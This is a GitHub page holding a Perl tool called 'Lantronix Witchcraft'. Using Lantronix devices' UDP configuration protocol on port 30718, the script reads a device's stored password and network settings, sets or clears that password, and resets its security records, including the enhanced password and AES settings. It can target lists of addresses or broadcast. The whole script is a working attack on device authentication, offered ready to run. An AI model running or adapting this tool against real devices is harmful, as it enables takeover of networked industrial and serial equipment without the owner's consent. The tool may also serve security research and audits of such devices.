forked from kost/lantronix-witchcraft
-
Notifications
You must be signed in to change notification settings - Fork 0
/
lantronix-witchcraft.pl
executable file
·356 lines (315 loc) · 11.6 KB
/
lantronix-witchcraft.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
#!/usr/bin/perl
use strict;
use IO::Socket;
use Getopt::Long;
my @charset;
my $configfile="$ENV{HOME}/.lantronix-witchcraft";
my %config;
$config{'verbose'}=0;
$config{'port'}=30718;
my $pktcount=0;
if (-e $configfile) {
open(CONFIG,"<$configfile") or next;
while (<CONFIG>) {
chomp; # no newline
s/#.*//; # no comments
s/^\s+//; # no leading white
s/\s+$//; # no trailing white
next unless length; # anything left?
my ($var, $value) = split(/\s*=\s*/, $_, 2);
$config{$var} = $value;
}
close(CONFIG);
}
Getopt::Long::Configure ("bundling");
my $result = GetOptions (
"D|dumplog" => \$config{'dumplog'},
"Q|query" => \$config{'query'},
"G|getsetup" => \$config{'getsetup'},
"P|getpass" => \$config{'getpass'},
"R|resetpass" => \$config{'resetpass'},
"C|rcr" => \$config{'rcr'},
"E|resetenh" => \$config{'resetenh'},
"F|setpass=s" => \$config{'setpass'},
"S|resetsecurity" => \$config{'resetsecurity'},
"Y|dry" => \$config{'dry'},
"b|broadcast" => \$config{'broadcast'},
"t|time" => \$config{'timestamp'},
"I|ipfile=s" => \$config{'ipfile'},
"i|ip=s" => \$config{'ip'},
"p|port=i" => \$config{'port'},
"v|verbose+" => \$config{'verbose'},
"h|help" => \&help
);
my @iplist;
if ($config{'dry'}) {
print STDERR "[i] This is dry run.\n";
}
# take IP from -i
if ($config{'ip'}) {
push @iplist, $config{'ip'};
}
# take IPs from file
if ($config{'ipfile'}) {
print STDERR "[i] Using IP file: $config{'ipfile'}\n";
open (INPUT,"<$config{'ipfile'}") or die("Error opening file $config{'ipfile'} for reading: $!");
while (<INPUT>) {
chomp;
push @iplist, $_;
}
close (INPUT);
}
# take IPs from command line
while (my $cmdip=shift) {
push @iplist, $cmdip;
}
# length should be 4
if ($config{'setpass'}) {
if (length($config{'setpass'})!=4) {
die ("password size should be 4");
}
}
my $loop = 1;
my $tries = 0;
$SIG{INT} = \&ctrlc;
print STDERR "[i] Guessing.\n" if ($config{'verbose'}>0);
my $starttime=time();
foreach my $ip (@iplist) {
# main stuff
my $configrec;
print STDERR "[i] $ip - performing\n" if ($config{'verbose'}>0);
if ($config{'rcr'}) {
my $resp=send_udp($ip,"\x00\x00\x00\xF4",32);
warn ("invalid length received: ".length($resp)." : ".hexify($resp)) if (length($resp)!=32);
#my @bytes=unpack("C*",$resp);
my $ver=substr($resp,16,16);
my $verstr=unpack "Z*", $ver;
print "Version: $verstr\n";
}
if ($config{'query'}) {
my $resp=send_udp($ip,"\x00\x00\x00\xF6",30);
warn ("invalid length received: ".length($resp)." : ".hexify($resp)) if (length($resp)!=30);
#my @bytes=unpack("C*",$resp);
my $type=substr($resp,8,3);
my $mac=substr($resp,24,6);
print "Type: $type with Mac: ".hexify($mac)."\n";
}
if ($config{'getpass'} or $config{'resetpass'} or $config{'setpass'}) {
my $resp=send_udp($ip,"\x00\x00\x00\xF8",124);
warn ("invalid length received: ".length($resp)." : ".hexify($resp)) if (length($resp)!=124);
if (substr($resp,0,4) eq "\x00\x00\x00\xF9") {
print "$ip: got correct answer for getconfig\n";
} else {
print "$ip: did not get correct answer for getconfig: ".hexify($resp)."\n";
}
$configrec=$resp;
# my @bytes=unpack("C*",$resp);
my $pass=substr $resp,12,4;
my $ipaddr=substr $resp,4,4;
my $subnet=substr $resp,10,1;
my $gateway=substr $resp,16,4;
#my $ripaddr=substr $resp,28,4;
if ($pass eq "\x00\x00\x00\x00") {
print "$ip: password is not set\n";
} else {
print "$ip: Password is: ".un2printable($pass)." (".hexify($pass).")\n";
}
print "$ip: IP is: ".char2ip($ipaddr)." (".hexify($ipaddr).") with subnet ".hexify($subnet)."\n";
#print "$ip: Remote IP is: ".char2ip($ripaddr)." (".hexify($ripaddr).")\n";
print "$ip: Gateway is: ".char2ip($gateway)." (".hexify($gateway).")\n";
}
if ($config{'getsetup'}) {
my @srec=("\xE0","\xE1","\xE2","\xE3","\xE4","\xE5","\xE6","\xE7","\xE8",
"\xE9","\xEA","\xEB","\xEC","\xED","\xEE","\xEF");
foreach my $rec (@srec) {
print STDERR "[i] $ip - get setup for $rec\n" if ($config{'verbose'}>1);
my $resp=send_udp($ip,"\x00\x00\x00".$rec,124);
warn ("invalid length received: ".length($resp)." : ".hexify($resp)) if (length($resp)!=124);
if (substr($resp,0,3) eq "\x00\x00\x00") {
print "$ip: got correct answer for get setup record\n";
} else {
print "$ip: did not get correct answer for get setup record: ".hexify($resp)."\n";
}
print "Got: ".hexify($resp)."\n";
}
}
if ($config{'resetpass'}) {
my $setconfigrec=$configrec;
substr $setconfigrec,0,4,"\x00\x00\x00\xFA";
substr $setconfigrec,12,4,"\x00\x00\x00\x00";
my $resp=send_udp($ip,$setconfigrec,4);
warn ("$ip: invalid length received: ".length($resp)." : ".hexify($resp)) if (length($resp)!=4);
if ($resp eq "\x00\x00\x00\xFB") {
print "$ip: Successfull password reset.\n";
} else {
print "$ip: Did not get proper response for reset.\n";
}
}
if ($config{'setpass'}) {
my $setconfigrec=$configrec;
substr $setconfigrec,0,4,"\x00\x00\x00\xFA";
substr $setconfigrec,12,4,$config{'setpass'};
my $resp=send_udp($ip,$setconfigrec,4);
warn ("$ip: invalid length received: ".length($resp)." : ".hexify($resp)) if (length($resp)!=4);
if ($resp eq "\x00\x00\x00\xFB") {
print "$ip: Successfull password set to $config{'setpass'}.\n";
} else {
print "$ip: Did not get proper response for reset.\n";
}
}
if ($config{'resetsecurity'}) {
my $resetsec="\x00\x00\x00\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x75\x62\x6c\x69\x63\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
my $resp=send_udp($ip,$resetsec,4);
print "problem!\n" if ($resp == undef);
warn ("$ip: invalid length received: ".length($resp)." : ".hexify($resp)) if (length($resp)!=4);
print "$ip: Return for security reset: ".hexify($resp)."\n";
if ($resp eq "\x00\x00\x00\xB1") {
print "$ip: Successfull security reset.\n";
} else {
print "$ip: Did not get proper response for reset: ".hexify($resp)."\n";
}
}
if ($config{'resetenh'}) {
my $resetsec="\x00\x00\x00\xc1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x75\x62\x6c\x69\x63\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
my $resp=send_udp($ip,$resetsec,4);
print "problem!\n" if ($resp == undef);
warn ("$ip: invalid length received: ".length($resp)." : ".hexify($resp)) if (length($resp)!=4);
print "$ip: Return for security reset: ".hexify($resp)."\n";
if ($resp eq "\x00\x00\x00\xB1") {
print "$ip: Successfull security reset.\n";
} else {
print "$ip: Did not get proper response for reset: ".hexify($resp)."\n";
}
}
$tries++;
}
my $endtime = time();
my $difftime = $endtime - $starttime;
print STDERR "\n" if ($config{'verbose'}>0);;
print STDERR "[i] Statistics: $tries tries in $difftime seconds.\n" if ($config{'verbose'}>0);;
print STDERR "[i] END of guessing\n" if ($config{'verbose'}>0);;
$SIG{'INT'} = 'DEFAULT';
sub send_udp {
my ($ip,$content,$respsize) = @_;
my $port=$config{'port'};
my $rand=int(rand(65535));
my $srand=sprintf "%05d",$rand;
$pktcount++;
my $spktcount=sprintf "%05d",$pktcount;
print STDERR "[v] Connecting to $ip:$port\n" if ($config{'verbose'}>6);
my $socket = IO::Socket::INET->new( PeerPort => $port,
PeerAddr => $ip,
Timeout => 90,
Type => SOCK_DGRAM,
Broadcast => $config{'broadcast'},
Proto => 'udp');
print STDERR "[v] Sending ".length($content)." bytes: \n".hexdump($content)."\n" if ($config{'verbose'}>8);
if ($config{'dumplog'}) {
my $fn="dump-$ip-$port-".getstampstr()."-$spktcount-$srand-req.bin";
open(OUT,">$fn") or warn "cannot open dump file for writting: $!";
binmode(OUT);
syswrite(OUT,$content);
close(OUT);
}
$socket->send($content) or die "UDP Client send: $!\n";
my $ret;
eval
{
local $SIG{ALRM} = sub {die "No response from server!\n"};
alarm 5;
$socket->recv($ret, $respsize);
alarm 0;
1; # Value for eval code block on normal exit.
} or return undef;
if ($config{'dumplog'}) {
my $fn="dump-$ip-$port-".getstampstr()."-$spktcount-$srand-res.bin";
open(OUT,">$fn") or warn "cannot open dump file for writting: $!";
binmode(OUT);
syswrite(OUT,$ret);
close(OUT);
}
print STDERR "[v] Received ".length($ret)." bytes:\n".hexdump($ret)."\n" if ($config{'verbose'}>8);
return $ret;
}
sub send_77fe {
my ($ip,$content,$respsize) = @_;
my $bla=send_udp ($ip,$content,$respsize);
return $bla;
}
sub ctrlc {
$SIG{INT} = \&ctrlc;
print "\nCTRL+C presssed, stopping.\n";
$loop=0;
}
sub help {
print "Lantronix Witchcraft. Copyright (C) Kost. Distributed under GPL.\n\n";
print "Usage: $0 [options] <ip> \n";
print "\n";
print " -Q query device (MAC address and type)\n";
print " -G get setup records (try all records)\n";
print " -P get simple password\n";
print " -R reset simple password to null (password will be disabled)\n";
print " -C query device for version (password leak sometimes)\n";
print " -E reset security record (includes enhanced password and AES)\n";
print " -S reset security record (includes enhanced password but not AES)\n";
print " -F <s> set simple password to <s>\n";
print " -i <s> connect to IP <s> \n";
print " -I <s> use IP addresses from file <s> (IP address per line)\n";
print " -Y dry run (don't send any packets)\n";
print " -b send broadcast packet\n";
print " -t add timestamp\n";
print " -p <i> use port <i> (default: $config{'port'})\n";
print " -v verbose (-vvvvv will be more verbose)\n";
print " -h this help\n";
print "\n";
print "Example: $0 -Q -C 127.0.0.1\n";
print "Example: $0 -P -E 127.0.0.1\n";
exit 0;
}
sub hexdump {
my $offset = 0;
my(@array,$format);
my $retstr;
foreach my $data (unpack("a16"x(length($_[0])/16)."a*",$_[0])) {
my($len)=length($data);
if ($len == 16) {
@array = unpack('N4', $data);
$format="0x%08x (%05d) %08x %08x %08x %08x %s\n";
} else {
@array = unpack('C*', $data);
$_ = sprintf "%2.2x", $_ for @array;
push(@array, ' ') while $len++ < 16;
$format="0x%08x (%05d)" .
" %s%s%s%s %s%s%s%s %s%s%s%s %s%s%s%s %s\n";
}
$data =~ tr/\0-\37\177-\377/./;
my $tmpstr = sprintf $format,$offset,$offset,@array,$data;
$retstr=$retstr.$tmpstr;
$offset += 16;
}
return $retstr;
}
sub hexify {
my ($parm) = @_;
return unpack("H*",$parm);
}
sub un2printable {
my ($parm) = @_;
$parm =~ s/.*[^[:print:]]+/./;
return $parm;
}
sub char2ip {
my ($parm) = @_;
my @ipnums=unpack("C4",$parm);
my $ret = join ('.',@ipnums);
return $ret;
}
sub getstampstr {
my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) =
localtime(time);
$year += 1900;
$mon +=1;
# my $str=sprintf "%04d-%02d-%02d-%02d-%02d-%02d-%05d-%d",$year,$mon,$mday,$hour,$min,$sec,int(rand(65535)),time;
my $str=sprintf "%04d-%02d-%02d-%02d-%02d-%02d",$year,$mon,$mday,$hour,$min,$sec;
return $str;
}